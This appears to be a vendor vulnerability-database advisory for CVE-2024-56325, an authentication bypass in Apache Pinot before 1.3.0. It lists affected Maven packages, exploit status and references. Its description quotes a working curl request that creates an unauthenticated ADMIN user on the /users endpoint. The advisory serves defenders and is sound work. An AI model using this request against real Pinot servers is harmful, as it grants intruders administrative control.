WaratekVRT Sign in

CVE-2024-56325 Pinot

Affected softwarePinot
Severity9.8 Critical CVSS 3.1
Fixed in1.3.0
WeaknessCWE-288
Published1 Apr 2025
Updated17 Jun 2026

Description

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

Exploitation status

Working exploit published

A reviewed exploit catalogue lists ready-to-run exploit code for this CVE.
  • CISA KEV not listed
  • VulnCheck KEV not listed
  • CISA Vulnrichment exploitation: none
  • Indexed PoC 1 indexed Published artifacts you can open, in Nuclei.
  • EPSS 80% chance in 30 days A model's forecast, not a report of exploitation. Higher than 99.6% of all scored CVEs.
IndexArtifactStarsFirst seen
Nuclei Apache Pinot < 1.3.0 - Authentication Bypass

Waratek protection

Mitigation candidate

A kind of vulnerability Waratek's rules address, with exploit code published or exploitation reported. No rule exists and none is planned yet. The decision below says what we found to build a rule from.

  • Protection none
  • Action unverified
  • Review automated Inferred
  • Record active
Decided by The affected package being open source on Maven, so the fix can be read
Finding This CVE affects an open-source Java library published on Maven Central (Maven packages: org.apache.pinot:pinot-broker, org.apache.pinot:pinot-common, org.apache.pinot:pinot-controller), so it is squarely in ARMR's territory and the source needed to understand the defect is public. That makes it a candidate for an ARMR patch rule. No rule exists and none is scheduled: the diff between the affected and fixed versions has not been read, and a closer look may find no hook point ARMR can act on.

Affected software and releases

Maven packages

Affected and fixed versions, from OSV.dev
PackageIntroducedFixedLast affected
org.apache.pinot:pinot-broker 0.8.0 1.3.0 unbounded
org.apache.pinot:pinot-common 0.8.0 1.3.0 unbounded
org.apache.pinot:pinot-controller 0.8.0 1.3.0 unbounded

Products and versions

4 products, 4 version entries
SourceVendorProductSchemeAffected versions
nvd apache pinot generic ＜ 1.3.0
osv org.apache.pinot pinot-broker generic ≥ 0.8.0 and ＜ 1.3.0
osv org.apache.pinot pinot-common generic ≥ 0.8.0 and ＜ 1.3.0
osv org.apache.pinot pinot-controller generic ≥ 0.8.0 and ＜ 1.3.0

References

URLTags
https://github.com/apache/pinot/pull/14383 WEB
https://github.com/apache/pinot/commit/1b87488aeaf4836e3ef25b426ebbf1ad5a68e68f WEB
https://github.com/apache/pinot/commit/89a22f097c5ff26396e58950c90d764066a56121 WEB
https://github.com/apache/pinot PACKAGE
https://github.com/apache/pinot/releases/tag/release-1.3.0 WEB
https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v WEB
http://www.openwall.com/lists/oss-security/2025/03/27/8 WEB

Timeline
Published2025-04-01By the CVE Program.
NVD record modified2026-06-17NVD's own last-modified date for this record.